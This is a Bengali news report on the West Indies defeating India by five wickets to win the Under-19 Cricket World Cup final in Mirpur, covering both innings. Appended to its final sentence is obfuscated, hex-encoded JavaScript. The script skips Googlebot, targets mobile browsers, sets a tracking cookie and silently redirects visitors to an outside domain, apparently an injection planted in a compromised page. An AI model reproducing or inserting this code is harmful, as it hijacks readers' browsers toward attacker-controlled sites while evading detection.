নিজস্ব প্রতিবেদক : মাঠের ব্যর্থতার সঙ্গে বোর্ড আর খেলোয়াড়দের দ্বন্দ্ব-সব কিছু মিলিয়ে ওয়েস্ট ইন্ডিজের ক্রিকেট যেন ভাঙ্গা হাট। জাতীয় দলের এমন দু:সময়ে দেশটির ক্রিকেটে নতুন সূর্য হয়ে এসেছেন যুবারা। অনুর্ধ্ব-১৯ বিশ্বকাপ ক্রিকেট চ্যাম্পিয়ন হয়ে ঢাকায় তারা বাজিয়েছেন ক্যালিপসো সুর। আজ (রবিবার) মিরপুর শের-ই বাংলা স্টেডিয়ামে টুর্নামেন্টের ফাইনালে ৫ উইকেটে ভারতকে হারিয়ে প্রথমবারের মতো অনূর্ধ্ব-১৯ বিশ্বকাপের শিরোপা জিতল ওয়েস্ট ইন্ডিজ।
ওয়েস্ট ইন্ডিজ শেষবার যুব বিশ্বকাপের ফাইনাল খেলেছিল ২০০৪ সালে। পাকিস্তানের কাছে ২৫ রানে হেরে যাওয়া সে ম্যাচ খেলা দিনেশ রামদিন-লেন্ডল সিমন্স-রবি রামপালরা স্বস্তির নিঃশ্বাস ফেলতেই পারেন। কারন তাদের উত্তরসূরি হেটমেয়ার, কার্টি, পলেরা যে এক যুগ পর ভারতকে হারিয়ে প্রথমবারের মত অনুর্দ্ধ-১৯ বিশ্বকাপের শিরোপা জিতেছে। চুক্তি নিয়ে খেলোয়াড়দের সাথে বোর্ডের বনিবনা না হওয়ায় আসন্ন বিশ্বকাপ থেকে নিজেদের সরিয়ে নিয়েছেন জাতীয় দলের নারাইন-পোলার্ডরা। এমন টালমাটাল দুঃসময়ে এক ঝলক আনন্দ বার্তাও বয়ে নিয়ে এল এই ঘামঝরানো জয়।
টস জিতে ওয়েস্টইন্ডিজ প্রথমে ব্যাট করতে পাঠায় ভারতকে। প্রথম ওভারেই ইনফর্ম রিশাভ পান্থকে হারিয়ে ধাক্কা খায় ভারত। সেখান থেকে আর ঘুরে দাড়াতে পারেনি তারা। ৫০ রানে পাঁচ উইকেট পতনের পর সরফরাজ আর মাহিপাল মিলে ৩৭ রানের জুটি গড়ে বিপর্যয় সামাল দেবার চেষ্টা করলেও জন আর হোল্ডারের মারাত্মক বোলিংতোপে ১২৩ রানেই নয় উইকেট হারিয়ে বসে আসরের অপরাজিত দলটি। রাহুল বাথামের ২১ রানের উপর ভর করে শেষ পর্যন্ত ১৪৫ রান তুলতে পারে ভারত। ৮৯ বলে ৫ চার ও এক ছয়ে ৫১ রান করে সরফরাজই ভারতের সেরা সংগ্রাহক, বাকিদের মধ্যে মাহিপাল আর বাথাম ছাড়া আর কেউ পেরোতে পারেননি দু অংকের ঘর!! ৩৮ রানে ৩ টি ও ৩৯ রানে ৩ টি করে উইকেট নিয়ে জন ও জোসেফ নেতৃত্ব দিয়েছেন উইন্ডিজ পেস ব্যাটারির, দুমড়ে মুচড়ে দিয়েছেন ভারতের ব্যাটিং লাইনআপ।
জবাব দিতে নেমে উইন্ডিজ ইনিংসের বিপর্যয়টা শুরু হয় একটু দেরিতে। তৃতীয় ওভারে ইনফর্ম গিডরন পোপকে ফিরিয়ে দিয়ে প্রথম ব্রেকথ্রু দেন অ্যাভেশ খান। ২৮ রানে দ্বিতীয় উইকেট হারালেও হেটমায়ার আর কার্টে মিলে বেশ স্বচ্ছন্দেই এগিয়ে নিয়ে যাচ্ছিলেন দলকে। বিপত্তিটা বাঁধে মায়াংক দাগার ৬৭ থেকে ৭৭ রানের মধ্যে হেটমায়ার, টুর্নামেন্টের সর্বোচ্চ রান সংগ্রাহক স্প্রিংগার আর গুউলিকে তুলে নিলে। ৭৯ রানের জয়টা তখন সুদূর অনতিক্রম্য মনে হচ্ছিল। কিন্তু এক প্রান্তে অবিচল ছিলেন ক্যাচি কার্টে। কেমু পলকে নিয়ে ষষ্ঠ উইকেট জুটিতে অবিচ্ছিন্ন থেকে প্রথমবারের মত শিরোপার স্বাদ নিশ্চিত করে তবেই ঘরে ফেরেন এই বাঁহাতি। ১২৫ বলে ৫২ রানে অপরাজিত কার্টেকে যোগ্য সঙ্গ দিয়েছেন ৬৮ বলে ৪০ রানে অপরাজিত পল। ভারতীয় বোলাররা অনেক চেষ্টা করেও এ দুজনকে ফেরাতে পারেননি। ওয়েস্ট ইন্ডিঞ্জ জয়ের লক্ষ্যে পৌঁছে ৫০ ওভারের চতুর্থ বলে। তারপরই শুরু হয় স্প্রিংগারের স্প্রিং ড্যান্স..
খুবই স্বাভাবিক। ১৯৯৮ সালের নকআউট পর্বে হয়নি, হয়নি ২০০৪ সালের ফাইনালে উঠেও, অধরা অনুর্দ্ধ উনিশ বিশ্বকাপটা হাতে পেয়ে দেড় যুগের অপেক্ষার পালা ফুরোবার পর বাঁধভাঙ্গা আনন্দে মাতোয়ারা হওয়াই স্বাভাবিক উইন্ডিজ যুবাদের। এখন সময়টুকু যে শুধুই উৎসবের…var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}